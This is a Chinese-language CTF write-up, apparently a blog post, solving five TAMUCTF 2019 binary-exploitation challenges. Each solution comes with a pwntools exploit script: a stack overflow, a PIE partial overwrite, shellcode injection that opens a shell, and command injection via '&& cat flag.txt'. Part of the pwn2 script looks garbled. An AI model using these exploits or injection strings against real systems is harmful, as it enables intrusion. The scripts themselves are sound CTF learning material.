TAMUCTF-部分pwn解析
Peanuts CTF 13050浏览 · 2019-03-04 01:29

TAMUCTF-部分pwn解析

和队里师傅做了这个比赛的题目难度有些梯度,但是后面两个题难度实在大了,水平太低不会了,前面的题还是比较简单有一定的借鉴意义,记录一下大佬勿喷。

pwn1

第一题比较简单大概看一下。

main

从栈分布和main函数来看就是一个栈溢出加上覆盖指针然后成功运行print_flag函数就可以拿到flag了。

exp

p = remote("nc pwn.tamuctf.com",4321)
#p = process('./pwn1.dms')
context.log_level = 'debug'
pa_0 = "Sir Lancelot of Camelot"
pa_1 = "To seek the Holy Grail."
pa_2 = "a"*0x2b +p32(0xDEA110C8)

p.recvuntil("What... is your name?\n")
p.sendline(pa_0)
p.recvuntil("What... is your quest?\n")
p.sendline(pa_1)

p.recvuntil("What... is my secret?\n")
p.sendline(pa_2)

p.interactive()
#gigem{34sy_CC428ECD75A0D392}

pwn2

这个题目考查的是pie的绕过,用的方法是低位覆盖

保护

main

逻辑比较简单就不多说了

select_function

主要是进行一个运行函数的筛选,其中的one和two我就不进行截图查看了就是一个puts函数没有什么特别的,这里我想的是利用strncpy的一个一个字节的溢出来造成最后程序的转跳,因为one的函数前面3个字节和后门函数是一样的,这里具体可以看栈分布,就不截图出来的。

exp

p = process('pwn2.dms')
&& cat flag.txt
#gigem{5y573m_0v3rfl0w}
'''
'''
p = remote("nc pwn.tamuctf.com",4322)
#p = process("pwn2.dms")
context.log_level = 'debug'
#6D8
pay ="a"*(0x1e)+"\xd8"
#gdb.attach(p)
p.recvuntil("Which function would you like to call?")
p.sendline(pay)

p.interactive()
#gigem{4ll_17_74k35_15_0n3}

pwn3

一个ret2sc的题,具体难度就是在调试的时候可能会有各种各样的问题

保护

这个地方没有开始nx,所以想到可以去执行ret2sc

main

程序的开始就给了我们我们输入的stack地址,我们的stack地址加上填充的长度然后输入我们的shellcode,接着返回地址覆盖成我们已经布置好栈的位置这样就可以getshell拿到flag了。

exp

#p = process("./pwn3.dms")
context(arch = 'i386', os = 'linux')
p = remote("pwn.tamuctf.com",4323)

context.log_level = 'debug'
#gdb.attach(p)
p.recvuntil("Take this, you might need it on your journey ")
ret = int(p.recv()[:10],16)
print ret
p.sendline("a"*(0x12a+4)+p32(ret+0x12a+0x8)+asm(shellcraft.sh()))

p.interactive()
#gigem{r3m073_fl46_3x3cu710n}

pwn4

一个关于linux命令行的问题,是一个系列先看第一个类型

main

这里就是让我们输入ls xx 我们要输入的区域是xx处,刚开始我想难道ls也有什么可以显示文本内容的骚操作。。结果问了个师傅才知道自己对linux命令行了解的浅薄,因为这个pwn4没有限制xx处的长度所以我们可以直接getshell

exp

&& cat flag.txt

pwn5

是这5个简单题里比较有难度的,但是其实也没什么,打开ida的时候很容易就能发现是静态编译

main

因为这里限制了ls xx xx处的长度所以我们只能采取一个其他方法绕过,这里查看get栈溢出处可以发现这题的栈比较干净所以果断选择rop,又因为是静态编译的所以可以直接进行ret2sc具体还是比较简单的。

exp

总结

这部分题目总体不是很难,但是后面两个题是真的没什么思路,希望大佬能够出来教授一下。

1 条评论
某人
表情
可输入 255